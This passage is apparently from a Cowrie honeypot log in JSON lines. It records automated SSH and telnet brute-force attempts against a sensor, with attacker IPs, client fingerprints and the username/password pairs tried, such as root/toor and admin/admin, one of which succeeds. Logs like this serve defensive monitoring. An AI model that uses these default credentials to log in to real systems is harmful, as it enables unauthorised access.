{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:36.248807Z","src_ip":"176.65.139.103","session":"5aeba8333e44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:36.253219Z","src_ip":"176.65.139.103","session":"5aeba8333e44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37196,"dst_ip":"159.203.135.109","dst_port":22,"session":"adf8936c1820","protocol":"ssh","message":"New connection: 159.203.92.129:37196 (159.203.135.109:22) [session: adf8936c1820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:40.456718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:40.461118Z","src_ip":"159.203.92.129","session":"adf8936c1820","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:40.464848Z","src_ip":"159.203.92.129","session":"adf8936c1820","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"123456a?","message":"login attempt [ansible/123456a?] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:40.475169Z","src_ip":"159.203.92.129","session":"adf8936c1820","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.423122882843018,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:41.252016Z","src_ip":"187.213.99.15","session":"f9ec2f0782ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:41.480580Z","src_ip":"159.203.92.129","session":"adf8936c1820","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":55752,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c5eed7ad7ac","protocol":"ssh","message":"New connection: 176.65.139.103:55752 (10.17.0.5:22) [session: 7c5eed7ad7ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:41.983308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:41.990028Z","src_ip":"176.65.139.103","session":"7c5eed7ad7ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:42.071764Z","src_ip":"176.65.139.103","session":"7c5eed7ad7ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:42.318299Z","src_ip":"176.65.139.103","session":"7c5eed7ad7ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:43.419219Z","src_ip":"176.65.139.103","session":"7c5eed7ad7ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40836,"dst_ip":"10.17.0.5","dst_port":22,"session":"204581941a15","protocol":"ssh","message":"New connection: 176.65.139.103:40836 (10.17.0.5:22) [session: 204581941a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:48.927466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:48.931414Z","src_ip":"176.65.139.103","session":"204581941a15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:49.013513Z","src_ip":"176.65.139.103","session":"204581941a15","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:49.072604Z","src_ip":"104.236.83.40","session":"8971cd3e76df","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:49.106995Z","src_ip":"104.236.83.40","session":"8971cd3e76df","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:49.271893Z","src_ip":"176.65.139.103","session":"204581941a15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:50.410342Z","src_ip":"176.65.139.103","session":"204581941a15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":48728,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e16fba96741","protocol":"ssh","message":"New connection: 202.184.144.220:48728 (10.17.0.5:22) [session: 0e16fba96741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:50.690099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:50.694210Z","src_ip":"202.184.144.220","session":"0e16fba96741","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:50.934170Z","src_ip":"202.184.144.220","session":"0e16fba96741","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin1234","message":"login attempt [user/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:51.925128Z","src_ip":"202.184.144.220","session":"0e16fba96741","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:53.166652Z","src_ip":"202.184.144.220","session":"0e16fba96741","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":52706,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0f1471ad934","protocol":"ssh","message":"New connection: 52.231.220.210:52706 (10.17.0.5:22) [session: a0f1471ad934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:54.323946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:54.328084Z","src_ip":"52.231.220.210","session":"a0f1471ad934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:54.510984Z","src_ip":"52.231.220.210","session":"a0f1471ad934","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roots","password":"roots","message":"login attempt [roots/roots] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:55.270676Z","src_ip":"52.231.220.210","session":"a0f1471ad934","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33940,"dst_ip":"10.17.0.5","dst_port":22,"session":"b15ef3c18d67","protocol":"ssh","message":"New connection: 176.65.139.103:33940 (10.17.0.5:22) [session: b15ef3c18d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:55.691791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:55.696453Z","src_ip":"176.65.139.103","session":"b15ef3c18d67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:55.781708Z","src_ip":"176.65.139.103","session":"b15ef3c18d67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:56.047104Z","src_ip":"176.65.139.103","session":"b15ef3c18d67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:56.455705Z","src_ip":"52.231.220.210","session":"a0f1471ad934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:09:57.132206Z","src_ip":"176.65.139.103","session":"b15ef3c18d67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33956,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dd404192b77","protocol":"ssh","message":"New connection: 176.65.139.103:33956 (10.17.0.5:22) [session: 6dd404192b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:02.485827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:02.495896Z","src_ip":"176.65.139.103","session":"6dd404192b77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:02.594899Z","src_ip":"176.65.139.103","session":"6dd404192b77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:03.305867Z","src_ip":"176.65.139.103","session":"6dd404192b77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:04.427350Z","src_ip":"176.65.139.103","session":"6dd404192b77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44220,"dst_ip":"10.17.0.5","dst_port":22,"session":"30c5d82c11ba","protocol":"ssh","message":"New connection: 176.65.139.103:44220 (10.17.0.5:22) [session: 30c5d82c11ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:09.277323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:10:09.282417Z","src_ip":"176.65.139.103","session":"30c5d82c11ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 